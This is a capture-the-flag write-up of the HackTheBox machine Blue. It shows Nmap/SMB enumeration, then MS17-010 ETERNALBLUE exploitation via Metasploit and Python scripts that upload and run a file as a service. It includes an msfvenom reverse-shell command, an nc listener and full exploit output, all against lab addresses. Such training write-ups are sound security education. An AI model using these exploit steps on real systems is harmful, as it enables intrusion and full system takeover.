Blue was the first box I owned on HTB, on 8 November 2017. And it really is one of the easiest boxes on the platform. The root first blood went in two minutes. You just point the exploit for MS17-010 (aka ETERNALBLUE) at the machine and get a shell as System. I’ll show how to find the machine is vulnerable to MS17-010 using Nmap, and how to exploit it with both Metasploit and using Python scripts.
Play on HackTheBox
|Release Date||28 Jul 2017|
|Retire Date||13 Jan 2018|
|Base Points||Easy |
|2 mins, 34 seconds|
|2 mins, 01 seconds|
nmap found three standard Windows ports in RPC (135), NetBios (139), and SMB (445), as well as some high RPC associated ports in the 49000s:
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.40 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:00 EDT Warning: 10.10.10.40 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.40 Host is up (0.021s latency). Not shown: 65517 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds oxdf@parrot$ nmap -p 135,139,445 -sCV -oA scans/nmap-tcpscripts 10.10.10.40 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:01 EDT Nmap scan report for 10.10.10.40 Host is up (0.018s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -17m06s, deviation: 34m38s, median: 2m53s | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-05-04T02:04:49+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-05-04T01:04:52 |_ start_date: 2021-05-04T00:54:47 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds
The SMB output says this is Windows 7 Professional.
SMB - TCP 445
There are a couple shares with null session read access (the trick of giving
smbmap wrong creds works here):
oxdf@parrot$ smbmap -H 10.10.10.40 [+] IP: 10.10.10.40:445 Name: 10.10.10.40 oxdf@parrot$ smbmap -H 10.10.10.40 -u "0xdf -p "0xdf [+] Guest session IP: 10.10.10.40:445 Name: 10.10.10.40 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ NO ACCESS Remote IPC Share READ ONLY Users READ ONLY
Share is empty:
oxdf@parrot$ smbclient //10.10.10.40/share Enter WORKGROUP\oxdf's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jul 14 09:48:44 2017 .. D 0 Fri Jul 14 09:48:44 2017 8362495 blocks of size 4096. 4259398 blocks available
Users has just empty
oxdf@parrot$ smbclient //10.10.10.40/users Enter WORKGROUP\oxdf's password: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Fri Jul 21 02:56:23 2017 .. DR 0 Fri Jul 21 02:56:23 2017 Default DHR 0 Tue Jul 14 03:07:31 2009 desktop.ini AHS 174 Tue Jul 14 00:54:24 2009 Public DR 0 Tue Apr 12 03:51:29 2011 8362495 blocks of size 4096. 4259398 blocks available smb: \> ls default Default DHR 0 Tue Jul 14 03:07:31 2009 8362495 blocks of size 4096. 4259398 blocks available smb: \> ls public Public DR 0 Tue Apr 12 03:51:29 2011 8362495 blocks of size 4096. 4259398 blocks available
vuln scripts that will check for known vulnerabilities in service. I’ll run them here, and it finds a big one, MS-17-010:
oxdf@parrot$ nmap -p 445 -script vuln -oA scans/nmap-smbvulns 10.10.10.40 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 21:17 EDT Nmap scan report for 10.10.10.40 Host is up (0.019s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ Nmap done: 1 IP address (1 host up) scanned in 24.85 seconds
Shell as System
MS-17-010, otherwise known as ETERNALBLUE, is a unauthenticated remote code execution vulnerability in Windows SMB most famous for it’s leak by the Shadow Brokers and for driving the WannaCry worm in May 2017.
The exploits in Metasploit for MS17-010 are much more stable than the Python script counterparts. If you’re doing this in the real world, I’d strongly recommend using Metasploit here. If you’re doing this for some kind of training activity that doesn’t allow Metasploit (like OSCP), then the downside of crashing a few boxes acceptable. I’ll show both.
The easiest way to pull this off is with Metasploit. I’ll start it with
msfconsole, and then search for
msf6 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 2 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 3 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 4 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce
4 is a scanner, and
5 is using a backdoor that must already be on the system, so they are out.
1 is specifically for Win8, which is not this system.
3 is auxiliary, though it says command execution, so I don’t want to rule it out, but I’ll put it last. That leaves
msf6 > use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) >
I’ll set the target and my local IP, and the rest of the options look good:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40 RHOSTS => 10.10.10.40 msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.14 lhost => 10.10.14.14 msf6 exploit(windows/smb/ms17_010_eternalblue) > options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.10.40 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.14.14 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
Running it returns a shell as SYSTEM:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 10.10.14.14:4444 [*] 10.10.10.40:445 - Executing automatic check (disable AutoCheck to override) [*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.10.10.40:445 - The target is vulnerable. [*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete) [*] 10.10.10.40:445 - Connecting to target for exploitation. [+] 10.10.10.40:445 - Connection established for exploitation. [+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes) [*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.10.40:445 - Sending all but last fragment of exploit packet [*] 10.10.10.40:445 - Starting non-paged pool grooming [+] 10.10.10.40:445 - Sending SMBv2 buffers [+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.10.40:445 - Sending final SMBv2 buffers. [*] 10.10.10.40:445 - Sending last fragment of exploit packet! [*] 10.10.10.40:445 - Receiving response from exploit packet [+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.10.40:445 - Sending egg to corrupted connection. [*] 10.10.10.40:445 - Triggering free of corrupted buffer. [*] Sending stage (200262 bytes) to 10.10.10.40 [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.40:49173) at 2021-05-03 21:32:51 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
I find it easier to work out of a real shell since I don’t use Meterpreter very often:
meterpreter > shell Process 2220 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>
Now just grab the flags:
C:\Windows\system32>cd \users C:\Users>dir Volume in drive C has no label. Volume Serial Number is A0EF-1911 Directory of C:\Users 21/07/2017 07:56 <DIR> . 21/07/2017 07:56 <DIR> .. 21/07/2017 07:56 <DIR> Administrator 14/07/2017 14:45 <DIR> haris 12/04/2011 08:51 <DIR> Public 0 File(s) 0 bytes 5 Dir(s) 17,256,050,688 bytes free C:\Users>type administrator\desktop\root.txt ff548eb7************************ C:\Users>type haris\desktop\user.txt 4c546aea************************
In coming back to write this post, I wasn’t able to find a Python3 script to do MS17-010. This led to a bit of a tough spot, as my VM was configured to use Impacket with Python3.
Create Virtual Environment
I created a virtual environment that would use Python2 with Impacket. First I cloned Impacket into
oxdf@parrot$ git clone https://github.com/SecureAuthCorp/impacket.git Cloning into 'impacket'... remote: Enumerating objects: 19128, done. remote: Counting objects: 100% (247/247), done. remote: Compressing objects: 100% (139/139), done. remote: Total 19128 (delta 135), reused 187 (delta 107), pack-reused 18881 Receiving objects: 100% (19128/19128), 6.56 MiB | 10.85 MiB/s, done. Resolving deltas: 100% (14511/14511), done.
In Python3, there’s a builtin
venv module for creating virtual environment. But for Python2, I need to
apt install virtualenv. Now I’ll create that environment folder in the Impacket directory using the
-p flag to tell it I want Python2:
oxdf@parrot$ cd impacket oxdf@parrot$ virtualenv impacket-venv -p $(which python2) created virtual environment CPython2.7.18.final.0-64 in 650ms creator CPython2Posix(dest=/opt/impacket/impacket-venv, clear=False, no_vcs_ignore=False, global=False) seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/home/oxdf/.local/share/virtualenv) added seed packages: pip==20.3.4, setuptools==44.1.1, wheel==0.36.2 activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator
Now when I activate it, I get the updated prompt, and
oxdf@parrot$ source impacket-venv/bin/activate (impacket-venv) oxdf@parrot$ python -V Python 2.7.18
(impacket-venv) oxdf@parrot$ wget https://bootstrap.pypa.io/pip/2.7/get-pip.py ...[snip]... (impacket-venv) oxdf@parrot$ python get-pip.py DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality. Collecting pip<21.0 Using cached pip-20.3.4-py2.py3-none-any.whl (1.5 MB) Installing collected packages: pip Attempting uninstall: pip Found existing installation: pip 20.3.4 Uninstalling pip-20.3.4: Successfully uninstalled pip-20.3.4 Successfully installed pip-20.3.4
Now finally install Impacket:
(impacket-venv) oxdf@parrot$ pip install -r requirements.txt ...[snip]... (impacket-venv) oxdf@parrot$ pip install . ...[snip]...
The best MS17-010 Python scripts I know of are from worawit. These work well, but are a bit confusing to use. helviojunior forked that repo and added a single
send_and_execute.py, which is really handy. It’s simply an update of the
zzz_exploit.py script from the original, but it is modified to upload a file and execute it as system.
zzz_exploit.py, there’s a function,
def smb_pwn(conn, arch): smbConn = conn.get_smbconnection() print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2) #smb_send_file(smbConn, sys.argv, 'C', '/exploit.py') #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # Note: there are many methods to get shell over SMB admin session # a simple method to get shell (but easily to be detected by AV) is # executing binary generated by "msfvenom -f exe-service ..."
This is the action taken with the exploit. In this case, without mod, it’s creating
C:\pwned.txt on the target. But the commented out lines show how the functions in this file can be used to also upload to the target (
smb_send_file) and execute as a service (
send_and_execute.py adds some handling of command line args, and then this function:
def send_and_execute(conn, arch): smbConn = conn.get_smbconnection() filename = "%s.exe" % random_generator(6) print "Sending file %s..." % filename #In some cases you should change remote file location #For example: #smb_send_file(smbConn, lfile, 'C', '/windows/temp/%s' % filename) #service_exec(conn, r'cmd /c c:\windows\temp\%s' % filename) smb_send_file(smbConn, lfile, 'C', '/%s' % filename) service_exec(conn, r'cmd /c c:\%s' % filename)
It’s very similar to what’s going on in the original, but it’s updated to upload
C:\filename and then run it.
You can either modify
send_and_execute.py, or make your own script using the functions from that repo.
Just like with
smbmap above, when I try to run this with username as an empty string, it won’t auth. However, if I just add any string into the username, it will then work.
When I was doing OSCP (2.5 years ago now), there were many boxes that would fall to this script with blank creds. I believe it should act similar to what you see with
smbmap. But just like there, it’s always better to try both with and without bad creds if you aren’t sure (and of course if you have good creds, then use those!).
I’ll generate a payload with
oxdf@parrot$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 -f exe -o rev.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: rev.exe
While x64 is relatively universal for Windows systems today, in 2017 when this box was released, x86 was much more common, especially in Windows 7.
shell_reverse_tcp is a raw command shell (non-meterpreter), and it is not staged (which is to say the entire payload is in that one exe, instead of just a stub that will connect back and get the rest). With both of those, I can just catch the shell with
nc. If I wanted a staged payload, I would have done
With the username updated to “0xdf”, I’ll start
nc, and run
(impacket-venv) oxdf@parrot$ python send_and_execute.py 10.10.10.40 rev.exe Trying to connect to 10.10.10.40:445 Target OS: Windows 7 Professional 7601 Service Pack 1 Using named pipe: browser Target is 64 bit Got frag size: 0x10 GROOM_POOL_SIZE: 0x5030 BRIDE_TRANS_SIZE: 0xfa0 CONNECTION: 0xfffffa8001c3d8f0 SESSION: 0xfffff8a0019ee2a0 FLINK: 0xfffff8a00264f048 InParam: 0xfffff8a00283a15c MID: 0xd07 unexpected alignment, diff: 0x-1ebfb8 leak failed... try again CONNECTION: 0xfffffa8001c3d8f0 SESSION: 0xfffff8a0019ee2a0 FLINK: 0xfffff8a002850088 InParam: 0xfffff8a00284a15c MID: 0xe03 success controlling groom transaction modify trans1 struct for arbitrary read/write make this SMB session to be SYSTEM overwriting session security context Sending file BI8O95.exe... Opening SVCManager on 10.10.10.40..... Creating service mIfk..... Starting service mIfk..... The NETBIOS connection with the remote host timed out. Removing service mIfk..... ServiceExec Error on: 10.10.10.40 nca_s_proto_error Done
At the line sixth from the end, where it says “Starting Service”, I get a connection at
oxdf@parrot$ rlwrap nc -lnvp 443 listening on [any] 443 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.10.40] 49162 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system